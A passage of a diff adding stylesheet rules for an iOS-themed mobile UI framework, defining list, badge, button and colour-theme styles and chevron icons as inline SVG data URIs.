color: #ff2d55; +} +.ios .list .list-button.color-yellow, +.ios .list li.color-yellow .list-button, +.ios .links-list li.color-yellow a, +.ios .simple-list li.color-yellow, +.ios .links-list a.color-yellow, +.ios .list .item-link.color-yellow, +.ios .list li.color-yellow .item-link { + color: #ffcc00; +} +.ios .list .list-button.color-orange, +.ios .list li.color-orange .list-button, +.ios .links-list li.color-orange a, +.ios .simple-list li.color-orange, +.ios .links-list a.color-orange, +.ios .list .item-link.color-orange, +.ios .list li.color-orange .item-link { + color: #ff9500; +} +.ios .list .list-button.color-gray, +.ios .list li.color-gray .list-button, +.ios .links-list li.color-gray a, +.ios .simple-list li.color-gray, +.ios .links-list a.color-gray, +.ios .list .item-link.color-gray, +.ios .list li.color-gray .item-link { + color: #8e8e93; +} +.ios .list .list-button.color-white, +.ios .list li.color-white .list-button, +.ios .links-list li.color-white a, +.ios .simple-list li.color-white, +.ios .links-list a.color-white, +.ios .list .item-link.color-white, +.ios .list li.color-white .item-link { + color: #ffffff; +} +.ios .list .list-button.color-black, +.ios .list li.color-black .list-button, +.ios .links-list li.color-black a, +.ios .simple-list li.color-black, +.ios .links-list a.color-black, +.ios .list .item-link.color-black, +.ios .list li.color-black .item-link { + color: #000000; +} +/* === Badge === */ +.badge { + display: inline-block; + color: #fff; + background: #8e8e93; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-align: center; +} +.icon .badge, +.f7-icons .badge, +.framework7-icons .badge, +.material-icons .badge { + position: absolute; + left: 100%; + margin-left: -10px; + top: -2px; +} +.ios .badge { + font-size: 13px; + border-radius: 20px; + padding: 0 6px; + height: 20px; + line-height: 20px; +} +.item-after .ios .badge { + min-width: 20px; +} +.ios .icon .badge, +.ios .f7-icons .badge, +.ios .framework7-icons .badge, +.ios .material-icons .badge { + line-height: 16px; + height: 16px; + border-radius: 16px; + padding: 0 4px; + min-width: 16px; + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.ios .badge.color-red { + background-color: #ff3b30; +} +.ios .badge.color-green { + background-color: #4cd964; +} +.ios .badge.color-blue { + background-color: #007aff; +} +.ios .badge.color-pink { + background-color: #ff2d55; +} +.ios .badge.color-yellow { + background-color: #ffcc00; +} +.ios .badge.color-orange { + background-color: #ff9500; +} +.ios .badge.color-gray { + background-color: #8e8e93; +} +.ios .badge.color-white { + background-color: #ffffff; +} +.ios .badge.color-black { + background-color: #000000; +} +button { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; +} +input[type="submit"].button, +input[type="button"].button { + width: 100%; +} +button { + width: 100%; +} +.segmented { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} +.segmented .button, +.segmented button { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.subnavbar .segmented { + width: 100%; +} +.ios .button { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; +} +.ios .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.button-round, +.ios .button.button-round-ios { + border-radius: 29px; +} +.ios .button.button-active, +.ios .button.tab-link-active { + background: #007aff; + color: #fff; +} +.ios .button.button-big, +.ios .button.button-big-ios { + font-size: 17px; + height: 44px; + line-height: 42px; +} +.ios .button.button-small, +.ios .button.button-small-ios { + height: 26px; + line-height: 22px; + border-width: 2px; + font-size: 13px; + font-weight: 600; + text-transform: uppercase; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.ios .button.button-small.button-fill.active-state, +.ios .button.button-small-ios.button-fill.active-state, +.ios .button.button-small.button-fill-ios.active-state, +.ios .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; + opacity: 1; +} +.ios .button.button-fill, +.ios .button.button-fill-ios { + color: #fff; + background: #007aff; + border-color: transparent; +} +.ios .button.button-fill.active-state, +.ios .button.button-fill-ios.active-state { + opacity: 0.8; +} +.ios .button i.icon:first-child { + margin-left: 10px; +} +.ios .button i.icon:last-child { + margin-right: 10px; +} +.ios .button i.icon:first-child:last-child { + margin-left: 0; + margin-right: 0; +} +.ios .segmented .button { + border-radius: 0; + border-right-width: 0; +} +.ios .segmented .button:first-child { + border-radius: 0 5px 5px 0; + border-right-width: 1px; + border-right-style: solid; +} +.ios .segmented .button:first-child.button-small { + border-right-width: 2px; +} +.ios .segmented .button:last-child { + border-radius: 5px 0 0 5px; +} +.ios .segmented .button:first-child:last-child { + border-radius: 5px; +} +.ios .segmented .button.button-round:first-child, +.ios .segmented .button.button-round-ios:first-child { + border-radius: 0 29px 29px 0; +} +.ios .segmented .button.button-round:last-child, +.ios .segmented .button.button-round-ios:last-child { + border-radius: 0 29px 29px 0; + border-radius: 29px 0 0 29px; +} +.ios .color-theme-red .button { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .button.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active, +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active { + background: #ff3b30; +} +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .color-theme-red .button.button-small.button-fill.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill.active-state, +.ios .color-theme-red .button.button-small.button-fill-ios.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .color-theme-green .button { + border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .button.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active, +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-green .button.button-active, +.ios .color-theme-green .button.tab-link-active { + background: #4cd964; +} +.ios .color-theme-green .button.button-fill, +.ios .color-theme-green .button.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .color-theme-green .button.button-small.button-fill.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill.active-state, +.ios .color-theme-green .button.button-small.button-fill-ios.active-state, +.ios .color-theme-green .button.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .color-theme-blue .button { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active, +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-blue .button.button-active, +.ios .color-theme-blue .button.tab-link-active { + background: #007aff; +} +.ios .color-theme-blue .button.button-fill, +.ios .color-theme-blue .button.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .color-theme-blue .button.button-small.button-fill.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill.active-state, +.ios .color-theme-blue .button.button-small.button-fill-ios.active-state, +.ios .color-theme-blue .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; +} +.ios .color-theme-pink .button { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .button.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active, +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-pink .button.button-active, +.ios .color-theme-pink .button.tab-link-active { + background: #ff2d55; +} +.ios .color-theme-pink .button.button-fill, +.ios .color-theme-pink .button.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .color-theme-pink .button.button-small.button-fill.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill.active-state, +.ios .color-theme-pink .button.button-small.button-fill-ios.active-state, +.ios .color-theme-pink .button.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .color-theme-yellow .button { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .button.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active, +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-yellow .button.button-active, +.ios .color-theme-yellow .button.tab-link-active { + background: #ffcc00; +} +.ios .color-theme-yellow .button.button-fill, +.ios .color-theme-yellow .button.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .color-theme-yellow .button.button-small.button-fill.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill.active-state, +.ios .color-theme-yellow .button.button-small.button-fill-ios.active-state, +.ios .color-theme-yellow .button.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .color-theme-orange .button { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .button.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active, +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-orange .button.button-active, +.ios .color-theme-orange .button.tab-link-active { + background: #ff9500; +} +.ios .color-theme-orange .button.button-fill, +.ios .color-theme-orange .button.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .color-theme-orange .button.button-small.button-fill.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill.active-state, +.ios .color-theme-orange .button.button-small.button-fill-ios.active-state, +.ios .color-theme-orange .button.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .color-theme-gray .button { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .button.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active, +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-gray .button.button-active, +.ios .color-theme-gray .button.tab-link-active { + background: #8e8e93; +} +.ios .color-theme-gray .button.button-fill, +.ios .color-theme-gray .button.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .color-theme-gray .button.button-small.button-fill.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill.active-state, +.ios .color-theme-gray .button.button-small.button-fill-ios.active-state, +.ios .color-theme-gray .button.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .color-theme-white .button { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .button.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active, +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-white .button.button-active, +.ios .color-theme-white .button.tab-link-active { + background: #ffffff; +} +.ios .color-theme-white .button.button-fill, +.ios .color-theme-white .button.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .color-theme-white .button.button-small.button-fill.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill.active-state, +.ios .color-theme-white .button.button-small.button-fill-ios.active-state, +.ios .color-theme-white .button.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .color-theme-black .button { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .button.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active, +.ios .color-theme-black .button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-black .button.button-active, +.ios .color-theme-black .button.tab-link-active { + background: #000000; +} +.ios .color-theme-black .button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .color-theme-black .button.button-small.button-fill.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill.active-state, +.ios .color-theme-black .button.button-small.button-fill-ios.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +.ios .button.color-red { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .button.color-red.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active, +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + color: #fff; +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active { + background: #ff3b30; +} +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .button.color-red.button-small.button-fill.active-state, +.ios .button.color-red.button-small-ios.button-fill.active-state, +.ios .button.color-red.button-small.button-fill-ios.active-state, +.ios .button.color-red.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .button.color-green { + border-color: #4cd964; + color: #4cd964; +} +.ios .button.color-green.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active, +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + color: #fff; +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active { + background: #4cd964; +} +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .button.color-green.button-small.button-fill.active-state, +.ios .button.color-green.button-small-ios.button-fill.active-state, +.ios .button.color-green.button-small.button-fill-ios.active-state, +.ios .button.color-green.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .button.color-blue { + border-color: #007aff; + color: #007aff; +} +.ios .button.color-blue.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active, +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + color: #fff; +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active { + background: #007aff; +} +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .button.color-blue.button-small.button-fill.active-state, +.ios .button.color-blue.button-small-ios.button-fill.active-state, +.ios .button.color-blue.button-small.button-fill-ios.active-state, +.ios .button.color-blue.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; +} +.ios .button.color-pink { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .button.color-pink.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active, +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + color: #fff; +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active { + background: #ff2d55; +} +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .button.color-pink.button-small.button-fill.active-state, +.ios .button.color-pink.button-small-ios.button-fill.active-state, +.ios .button.color-pink.button-small.button-fill-ios.active-state, +.ios .button.color-pink.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .button.color-yellow { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .button.color-yellow.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active, +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + color: #fff; +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active { + background: #ffcc00; +} +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .button.color-yellow.button-small.button-fill.active-state, +.ios .button.color-yellow.button-small-ios.button-fill.active-state, +.ios .button.color-yellow.button-small.button-fill-ios.active-state, +.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .button.color-orange { + border-color: #ff9500; + color: #ff9500; +} +.ios .button.color-orange.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active, +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + color: #fff; +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active { + background: #ff9500; +} +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .button.color-orange.button-small.button-fill.active-state, +.ios .button.color-orange.button-small-ios.button-fill.active-state, +.ios .button.color-orange.button-small.button-fill-ios.active-state, +.ios .button.color-orange.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .button.color-gray { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .button.color-gray.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active, +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + color: #fff; +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active { + background: #8e8e93; +} +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .button.color-gray.button-small.button-fill.active-state, +.ios .button.color-gray.button-small-ios.button-fill.active-state, +.ios .button.color-gray.button-small.button-fill-ios.active-state, +.ios .button.color-gray.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .button.color-white { + border-color: #ffffff; + color: #ffffff; +} +.ios .button.color-white.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active, +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + color: #fff; +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active { + background: #ffffff; +} +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .button.color-white.button-small.button-fill.active-state, +.ios .button.color-white.button-small-ios.button-fill.active-state, +.ios .button.color-white.button-small.button-fill-ios.active-state, +.ios .button.color-white.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .button.color-black { + border-color: #000000; + color: #000000; +} +.ios .button.color-black.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active, +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + color: #fff; +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active { + background: #000000; +} +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .button.color-black.button-small.button-fill.active-state, +.ios .button.color-black.button-small-ios.button-fill.active-state, +.ios .button.color-black.button-small.button-fill-ios.active-state, +.ios .button.color-black.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +/* === Touch Ripple === */ +/* === Icon === */ +i.icon { + display: inline-block; + vertical-align: middle; + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-style: normal; + position: relative; +} +.ios .icon-back, +.ios .icon-prev { + width: 12px; + height: 20px; +} +.ios .icon-forward, +.ios .icon-next { + width: 12px; + height: 20px; +} +.ios .icon-next, +.ios .icon-prev { + width: 10px; +} +.ios .icon-forward, +.ios .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon-back, +.ios .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .navbar .f7-icons, +.ios .toolbar .f7-icons { + font-size: 22px; +} +.ios .tabbar .f7-icons, +.ios .tabbar-labels .f7-icons { + font-size: 25px; +} +.ios .item-media .f7-icons { + font-size: 25px; + width: 29px; + height: 29px; +} +.ios .button .f7-icons { + font-size: 22px; +} +.ios .item-media .icon { + color: #808080; +} +.ios .color-theme-red .icon-forward, +.ios .icon-forward.color-red, +.ios a.link.color-red .icon-forward, +.ios .color-theme-red .icon-next, +.ios .icon-next.color-red, +.ios a.link.color-red .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .icon-back, +.ios .icon-back.color-red, +.ios a.link.color-red .icon-back, +.ios .color-theme-red .icon-prev, +.ios .icon-prev.color-red, +.ios a.link.color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-forward, +.ios .icon-forward.color-green, +.ios a.link.color-green .icon-forward, +.ios .color-theme-green .icon-next, +.ios .icon-next.color-green, +.ios a.link.color-green .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .icon-back, +.ios .icon-back.color-green, +.ios a.link.color-green .icon-back, +.ios .color-theme-green .icon-prev, +.ios .icon-prev.color-green, +.ios a.link.color-green .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%234cd964'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-forward, +.ios .icon-forward.color-blue, +.ios a.link.color-blue .icon-forward, +.ios .color-theme-blue .icon-next, +.ios .icon-next.color-blue, +.ios a.link.color-blue .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .icon-back, +.ios .icon-back.color-blue, +.ios a.link.color-blue .icon-back, +.ios .color-theme-blue .icon-prev, +.ios .icon-prev.color-blue, +.ios a.link.color-blue .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .icon-forward, +.ios .icon-forward.color-pink, +.ios a.link.color-pink .icon-forward, +.ios .color-theme-pink .icon-next, +.ios .icon-next.color-pink, +.ios a.link.color-pink .icon-next { + background-image: 